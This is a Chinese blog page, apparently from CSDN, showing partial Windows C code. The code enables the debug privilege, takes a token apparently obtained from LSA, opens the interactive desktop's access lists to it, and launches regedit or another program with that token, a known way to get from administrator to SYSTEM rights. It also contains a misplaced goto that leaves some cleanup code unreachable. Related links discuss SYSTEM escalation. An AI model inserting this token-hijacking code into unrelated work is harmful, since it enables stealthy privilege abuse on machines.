           &hToken) )
   {
      goto Cleanup;
   }

// Save a handle to the caller's current window station.

   if ( (hwinstaSave = GetProcessWindowStation() ) == NULL)
      goto Cleanup;

// Get a handle to the interactive window station.

   hwinsta = OpenWindowStation(
       "winsta0",                   // the interactive window station
       FALSE,                       // handle is not inheritable
       READ_CONTROL | WRITE_DAC);   // rights to read/write the DACL

   if (hwinsta == NULL)
      goto Cleanup;

// To get the correct default desktop, set the caller's
// window station to the interactive window station.

   if (!SetProcessWindowStation(hwinsta))
      goto Cleanup;

// Get a handle to the interactive desktop.

   hdesk = OpenDesktop(
      "default",     // the interactive window station
      0,             // no interaction with other desktop processes
      FALSE,         // handle is not inheritable
      READ_CONTROL | // request the rights to read and write the DACL
      WRITE_DAC |
      DESKTOP_WRITEOBJECTS |
      DESKTOP_READOBJECTS);

// Restore the caller's window station.

   if (!SetProcessWindowStation(hwinstaSave))
      goto Cleanup;

   if (hdesk == NULL)
      goto Cleanup;

// Get the SID for the client's logon session.

   if (!GetLogonSID(hToken, &pSid))
      goto Cleanup;

// Allow logon SID full access to interactive window station.

   if (! AddAceToWindowStation(hwinsta, pSid) )
      goto Cleanup;

// Allow logon SID full access to interactive desktop.

   if (! AddAceToDesktop(hdesk, pSid) )
      goto Cleanup;

// Impersonate client to ensure access to executable file.

   if (! ImpersonateLoggedOnUser(hToken) )
      goto Cleanup;

// Initialize the STARTUPINFO structure.
// Specify that the process runs in the interactive desktop.

   ZeroMemory(&si, sizeof(STARTUPINFO));
   si.cb= sizeof(STARTUPINFO);
   si.lpDesktop = TEXT("winsta0//default");  //You can use EnumWindowStations to enum desktop

// Launch the process in the client's logon session.

   bResult = CreateProcessAsUser(
      hToken,            // client's access token
      NULL,              // file to execute
      lpCommandLine,     // command line
      NULL,              // pointer to process SECURITY_ATTRIBUTES
      NULL,              // pointer to thread SECURITY_ATTRIBUTES
      FALSE,             // handles are not inheritable
      NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,   // creation flags
      NULL,              // pointer to new environment block
      NULL,              // name of current directory
      &si,               // pointer to STARTUPINFO structure
      &pi                // receives information about new process
   );

// End impersonation of client.

   RevertToSelf();

   goto Cleanup;
   //return bResult; <------------------------------------------------------------------------

   if (bResult && pi.hProcess != INVALID_HANDLE_VALUE)
   {
      WaitForSingleObject(pi.hProcess, INFINITE);
      CloseHandle(pi.hProcess);
   }

   if (pi.hThread != INVALID_HANDLE_VALUE)
      CloseHandle(pi.hThread);  

Cleanup:

   if (hwinstaSave != NULL)
      SetProcessWindowStation (hwinstaSave);

// Free the buffer for the logon SID.

   if (pSid)
      FreeLogonSID(&pSid);

// Close the handles to the interactive window station and desktop.

   if (hwinsta)
      CloseWindowStation(hwinsta);

   if (hdesk)
      CloseDesktop(hdesk);

// Close the handle to the client's access token.

   if (hToken != INVALID_HANDLE_VALUE)
      CloseHandle(hToken);  

   return bResult;
}

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid)
{
   ACCESS_ALLOWED_ACE   *pace;
   ACL_SIZE_INFORMATION aclSizeInfo;
   BOOL                 bDaclExist;
   BOOL                 bDaclPresent;
   BOOL                 bSuccess = FALSE;
   DWORD                dwNewAclSize;
   DWORD                dwSidSize = 0;
   DWORD                dwSdSizeNeeded;
   PACL                 pacl;
   PACL                 pNewAcl;
   PSECURITY_DESCRIPTOR psd = NULL;
   PSECURITY_DESCRIPTOR psdNew = NULL;
   PVOID                pTempAce;
   SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
   unsigned int         i;

   __try
   {
      // Obtain the DACL for the window station.

      if (!GetUserObjectSecurity(
             hwinsta,
             &si,
             psd,
             dwSidSize,
             &dwSdSizeNeeded)
      )
      if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
      {
         psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
               GetProcessHeap(),
               HEAP_ZERO_MEMORY,
               dwSdSizeNeeded);

         if (psd == NULL)
            __leave;

         psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
               GetProcessHeap(),
               HEAP_ZERO_MEMORY,
               dwSdSizeNeeded);

         if (psdNew == NULL)
            __leave;

         dwSidSize = dwSdSizeNeeded;

         if (!GetUserObjectSecurity(
               hwinsta,
               &si,
               psd,
               dwSidSize,
               &dwSdSizeNeeded)
         )
            __leave;
      }
      else
         __leave;

      // Create a new DACL.

      if (!InitializeSecurityDescriptor(
            psdNew,
            SECURITY_DESCRIPTOR_REVISION)
      )
         __leave;

      // Get the DACL from the security descriptor.

      if (!GetSecurityDescriptorDacl(
            psd,
            &bDaclPresent,
            &pacl,
            &bDaclExist)
      )
         __leave;

      // Initialize the ACL.

      ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
      aclSizeInfo.AclBytesInUse = sizeof(ACL);

      // Call only if the DACL is not NULL.

      if (pacl != NULL)
      {
         // get the file ACL size info
         if (!GetAclInformation(
               pacl,
               (LPVOID)&aclSizeInfo,
               sizeof(ACL_SIZE_INFORMATION),
               AclSizeInformation)
         )
            __leave;
      }

      // Compute the size of the new ACL.

      dwNewAclSize = aclSizeInfo.AclBytesInUse + (2*sizeof(ACCESS_ALLOWED_ACE)) + (2*GetLengthSid(psid)) - (2*sizeof(DWORD));

      // Allocate memory for the new ACL.

      pNewAcl = (PACL)HeapAlloc(
            GetProcessHeap(),
            HEAP_ZERO_MEMORY,
            dwNewAclSize);

      if (pNewAcl == NULL)
         __leave;

      // Initialize the new DACL.

      if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
         __leave;

      // If DACL is present, copy it to a new DACL.

      if (bDaclPresent)
      {
         // Copy the ACEs to the new ACL.
         if (aclSizeInfo.AceCount)
         {
            for (i=0; i < aclSizeInfo.AceCount; i++)
            {
               // Get an ACE.
               if (!GetAce(pacl, i, &pTempAce))
                  __leave;

               // Add the ACE to the new ACL.
               if (!AddAce(
                     pNewAcl,
                     ACL_REVISION,
                     MAXDWORD,
                     pTempAce,
                    ((PACE_HEADER)pTempAce)->AceSize)
               )
                  __leave;
            }
         }
      }

      // Add the first ACE to the window station.

      pace = (ACCESS_ALLOWED_ACE *)HeapAlloc(
            GetProcessHeap(),
            HEAP_ZERO_MEMORY,
            sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) -
                  sizeof(DWORD));

      if (pace == NULL)
         __leave;

      pace->Header.AceType  = ACCESS_ALLOWED_ACE_TYPE;
      pace->Header.AceFlags = CONTAINER_INHERIT_ACE |
                   INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE;
      pace->Header.AceSize  = sizeof(ACCESS_ALLOWED_ACE) +
                   GetLengthSid(psid) - sizeof(DWORD);
      pace->Mask            = GENERIC_ACCESS;

      if (!CopySid(GetLengthSid(psid), &pace->SidStart, psid))
         __leave;

      if (!AddAce(
            pNewAcl,
            ACL_REVISION,
            MAXDWORD,
            (LPVOID)pace,
            pace->Header.AceSize)
      )
         __leave;

      // Add the second ACE to the window station.

      pace->Header.AceFlags = NO_PROPAGATE_INHERIT_ACE;
      pace->Mask            = WINSTA_ALL;

      if (!AddAce(
            pNewAcl,
            ACL_REVISION,
            MAXDWORD,
            (LPVOID)pace,
            pace->Header.AceSize)
      )
         __leave;

      // Set a new DACL for the security descriptor.

      if (!SetSecurityDescriptorDacl(
            psdNew,
            TRUE,
            pNewAcl,
            FALSE)
      )
         __leave;

      // Set the new security descriptor for the window station.

      if (!SetUserObjectSecurity(hwinsta, &si, psdNew))
         __leave;

      // Indicate success.

      bSuccess = TRUE;
   }
   __finally
   {
      // Free the allocated buffers.

      if (pace != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)pace);

      if (pNewAcl != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

      if (psd != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

      if (psdNew != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
   }

   return bSuccess;

}

BOOL AddAceToDesktop(HDESK hdesk, PSID psid)
{
   ACL_SIZE_INFORMATION aclSizeInfo;
   BOOL                 bDaclExist;
   BOOL                 bDaclPresent;
   BOOL                 bSuccess = FALSE;
   DWORD                dwNewAclSize;
   DWORD                dwSidSize = 0;
   DWORD                dwSdSizeNeeded;
   PACL                 pacl;
   PACL                 pNewAcl;
   PSECURITY_DESCRIPTOR psd = NULL;
   PSECURITY_DESCRIPTOR psdNew = NULL;
   PVOID                pTempAce;
   SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
   unsigned int         i;

   __try
   {
      // Obtain the security descriptor for the desktop object.

      if (!GetUserObjectSecurity(
            hdesk,
            &si,
            psd,
            dwSidSize,
            &dwSdSizeNeeded))
      {
         if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
         {
            psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
                  GetProcessHeap(),
                  HEAP_ZERO_MEMORY,
                  dwSdSizeNeeded );

            if (psd == NULL)
               __leave;

            psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
                  GetProcessHeap(),
                  HEAP_ZERO_MEMORY,
                  dwSdSizeNeeded);

            if (psdNew == NULL)
               __leave;

            dwSidSize = dwSdSizeNeeded;

            if (!GetUserObjectSecurity(
                  hdesk,
                  &si,
                  psd,
                  dwSidSize,
                  &dwSdSizeNeeded)
            )
               __leave;
         }
         else
            __leave;
      }

      // Create a new security descriptor.

      if (!InitializeSecurityDescriptor(
            psdNew,
            SECURITY_DESCRIPTOR_REVISION)
      )
         __leave;

      // Obtain the DACL from the security descriptor.

      if (!GetSecurityDescriptorDacl(
            psd,
            &bDaclPresent,
            &pacl,
            &bDaclExist)
      )
         __leave;

      // Initialize.

      ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
      aclSizeInfo.AclBytesInUse = sizeof(ACL);

      // Call only if NULL DACL.

      if (pacl != NULL)
      {
         // Determine the size of the ACL information.

         if (!GetAclInformation(
               pacl,
               (LPVOID)&aclSizeInfo,
               sizeof(ACL_SIZE_INFORMATION),
               AclSizeInformation)
         )
            __leave;
      }

      // Compute the size of the new ACL.

      dwNewAclSize = aclSizeInfo.AclBytesInUse +
            sizeof(ACCESS_ALLOWED_ACE) +
            GetLengthSid(psid) - sizeof(DWORD);

      // Allocate buffer for the new ACL.

      pNewAcl = (PACL)HeapAlloc(
            GetProcessHeap(),
            HEAP_ZERO_MEMORY,
            dwNewAclSize);

      if (pNewAcl == NULL)
         __leave;

      // Initialize the new ACL.

      if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
         __leave;

      // If DACL is present, copy it to a new DACL.

      if (bDaclPresent)
      {
         // Copy the ACEs to the new ACL.
         if (aclSizeInfo.AceCount)
         {
            for (i=0; i < aclSizeInfo.AceCount; i++)
            {
               // Get an ACE.
               if (!GetAce(pacl, i, &pTempAce))
                  __leave;

               // Add the ACE to the new ACL.
               if (!AddAce(
                  pNewAcl,
                  ACL_REVISION,
                  MAXDWORD,
                  pTempAce,
                  ((PACE_HEADER)pTempAce)->AceSize)
               )
                  __leave;
            }
         }
      }

      // Add ACE to the DACL.

      if (!AddAccessAllowedAce(
            pNewAcl,
            ACL_REVISION,
            DESKTOP_ALL,
            psid)
      )
         __leave;

      // Set new DACL to the new security descriptor.

      if (!SetSecurityDescriptorDacl(
            psdNew,
            TRUE,
            pNewAcl,
            FALSE)
      )
         __leave;

      // Set the new security descriptor for the desktop object.

      if (!SetUserObjectSecurity(hdesk, &si, psdNew))
         __leave;

      // Indicate success.

      bSuccess = TRUE;
   }
   __finally
   {
      // Free buffers.

      if (pNewAcl != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

      if (psd != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

      if (psdNew != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
   }

   return bSuccess;
}

int main(int argc, char **argv)
{
    HANDLE hToken = NULL;
    EnablePrivilege(SE_DEBUG_NAME);
    hToken = GetLSAToken();
    StartInteractiveClientProcess(NULL, NULL, NULL, argc==2?argv[1]:"regedit", hToken);
    return 0;
}

Takeown、Cacls、Icacls:从权限丢失到完全掌控的实战命令手册 本文详细介绍了Windows系统中Takeown、Cacls和Icacls三个关键权限管理命令的使用方法。通过实战案例和技巧分享,帮助IT运维人员快速解决文件权限问题,实现从权限丢失到完全掌控的高效管理。特别适合处理系统文件修复、共享文件夹权限恢复等常见场景。 阅读详情

相关推荐

手把手教你解决Windows程序权限问题:从ERROR_ELEVATION_REQUIRED到完美运行

本文深入解析Windows程序权限管理,重点解决因UAC和程序清单配置不当导致的ERROR_ELEVATION_REQUIRED错误。通过剖析requestedExecutionLevel核心概念,提供从诊断到修改项目配置(如UACExecutionLevel)的完整解决方案,指导开发者实现权限优雅降权,确保应用程序稳定运行。

melon的博客 641

SysWow64没有权限解决办法

1.先将下面文字写入txt,并再写入后将后缀改为“reg” 2.运行该reg文件 3.在SysWow64文件夹右键点击“管理员取得所有权”(如果因txt文件编码造成中文乱码,那个乱码的项就是此项)项,即可完成 Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\*\shell\runas] @="管理员取得所有权" "NoWorkingDirectory"="" [HKEY_CLASSES_ROOT\*\shell\runas\command] @

qq_25421741的博客 3万+

Altium Designer铺铜陷阱:为什么你的死铜总是清除不干净?

本文深入探讨Altium Designer中铺铜操作导致死铜无法清除的常见问题,分析死铜形成的五大诱因,并提供高级参数优化和网络连接性验证技巧。通过调整边界计算精度和泪滴算法设置,有效解决死铜残留问题,提升PCB设计质量与制造良率。

weixin_29169505的博客 359

修改 Windows 文件访问权限的多种方法

由于文件是安全对象,因此访问它们受访问控制模型控制,该模型控制对 Windows 中所有其他安全对象的访问。更改文件或目录对象的安全描述符,需要调用或等函数。ACL,用来表示用户(组)权限的列表,包括 DACL和 SACL;ACE,ACL中的元素;DACL,用来表示安全对象权限的列表;SACL,用来记录对安全对象访问的日志。关于这几个概念已经有很多资料解释,这里就不详细展开了。(以下仅介绍通过Win32API修改文件安全属性的一些内容)。

溡漪幽博客 1万+

MPU6050 vs BMX055 vs ICM20602:如何为你的项目选择最佳陀螺仪(附实测数据对比)

本文深度对比了MPU6050、BMX055和ICM20602三款主流六轴IMU传感器的核心性能。通过实测数据,分析了它们在精度、噪声、温漂、接口速度及资源占用上的差异,并提供了从项目需求出发的选型指南,帮助开发者根据预算、精度要求和处理器性能选择最合适的陀螺仪与加速度计组合。

h0i1j2k3l的博客 973

光电系统光轴校准与偏差控制实战指南

光轴作为光电系统的空间基准坐标系,直接影响多光谱传感器的协同工作精度。在包含可见光、红外与激光测距的复合系统中,光轴偏差会导致目标识别误差与打击精度下降。通过机械基准建立、光学通道粗调和多光谱协同校准等工厂级标定流程,结合千米靶标法、星点校准法等野战应急方案,可有效控制光轴偏差。典型应用场景中,温度补偿与振动抑制技术能维持光轴稳定性,如某舰载系统通过500Hz高频视觉伺服实现0.3mrad振动补偿。掌握这些光轴标定与保持策略,对提升光电系统在侦察、测距等场景的实战性能具有关键价值。

weixin_36149538的博客 277

【你也能从零基础学会网站开发】 Win10系统下如何完美安装SQL Server 2000+解决SysWOW64权限限制方案!

我始终觉得还是使用VMware虚拟机最合适安装SQL Server 2000

极客小俊 5130

Anaconda启动失败,一直在loading application的问题

实战基础新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本

Tristan的博客 2772

java 获取系统权限_管理员组获取系统权限的完美解决方案

管理员组获取系统权限的完美解决方案创建时间:2005-04-28文章属性:原创文章提交:suei8423 (suei8423_at_163.com)管理员组获取系统权限的完美解决方案Author : ZwelLBlog : http://www.donews.net/zwellDate : 2005.4.28关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实...

weixin_30490029的博客 1202

【小白指南】如何将deepseek引入WPS\Word\Excel中去?

如何将deepseek引入WPS\Word\Excel中去?纯小白都能看的懂,一步步操作就能行

2503_90498422的博客 1万+

人工智能面试总结-分类与聚类

目录说说常用的分类算法,以及各自的优缺点?说说为什么正确率有时不能有效评估分类算法?说说什么样的分类器最好?说说聚类算法有哪些衡量标准?(选看)各聚类算法性能比较汇总说说什么是聚类,你知道哪些聚类算法?具体展开介绍你知道的聚类算法?说说K-Means聚类算法流程?说说K-Means聚类算法如何调优?说说K-Means聚类算法如何选择初始点?说说K-Means聚类聚的是特征还是样本?说说K-Means聚类的特征距离是如何计算的?说说聚类与分类的区别?手撕K-Means聚类 说说常用的分类算法,以及各自的优缺点

啥都生的博客 3865

(转载)管理员组获取系统权限的完美解决方案

管理员组获取系统权限的完美解决方案创建时间:2005-04-28原文出处:http://www.xfocus.net/articles/200504/795.html原文作者:suei8423 (suei8423_at_163.com)管理员组获取系统权限的完美解决方案Author : ZwelLBlog   : http://www.donews.net/zwellDate   : 2005.4

Kendiv's Box 2118

RV1126 ROS2环境交叉编译及部署(基于官方Docker)

我的所有基于`RV1126`的机器人项目都是在`Ubuntu22.04`下进行开发的,在`Ubuntu18.04 Docker`容器中实现`RV1126`的`SDK`编译,详细可参考我之前的博客[《Ubuntu20.04/22.04下Docker方案实现多平台SDK编译》第2章](https://blog.youkuaiyun.com/w1820020635/article/details/147342689),`RV1126`的`ROS1`部署没什么难度,可以参考我之前的博客,这里记录了`ROS2`交叉编译及问题解决

w1820020635的博客 1143

[转载]管理员组获取系统权限的完美解决方案

文章作者:ZwelL关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".这里,我先踩在前辈的肩上列一些可行的方法:1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)" 2. HO...

weixin_30425949的博客 149

Ceph入门到精通-更换osd、扩容osd

【代码】Ceph入门到精通-更换osd、扩容osd。

隔壁老瓦的专栏 1548

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

ntfs文件系统的权限设定

   公司最近要过 [ISO 27001信息安全管理体系],项目文件服务器的每个目录都要设权限,本来以为不是什么大不了的事情,没有通知组员直接开始操作。噩梦开始了,不知道什么原因,设完以后发现大概有1/3的文件没有任何权限,连administrator都没有权限。还要快到下班时间了,没有太大的影响组员的工作。  调查以后发现大部分丢失权限的文件都是后copy到服务器上的

1727

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

突破Windows权限壁垒:5分钟掌握TrustedInstaller权限管理技巧

你是否曾经在修改系统文件时被"拒绝访问"的提示困扰?或者想要调整Windows Update设置却因权限不足而束手无策?🚀 今天,我要向你介绍一个能够彻底解决这些权限难题的神器——RunAsTI权限管理工具。 ## 权限管理的现实痛点 在日常的Windows系统操作中,你会发现即使使用管理员账户,很多核心系统操作依然受到限制。这背后是Windows精心设计的权限分层机制,其中**Truste

gitblog_01125的博客 779

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

上一篇: 无dll无进程木马
下一篇: Windows网络数据流跟踪技巧
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值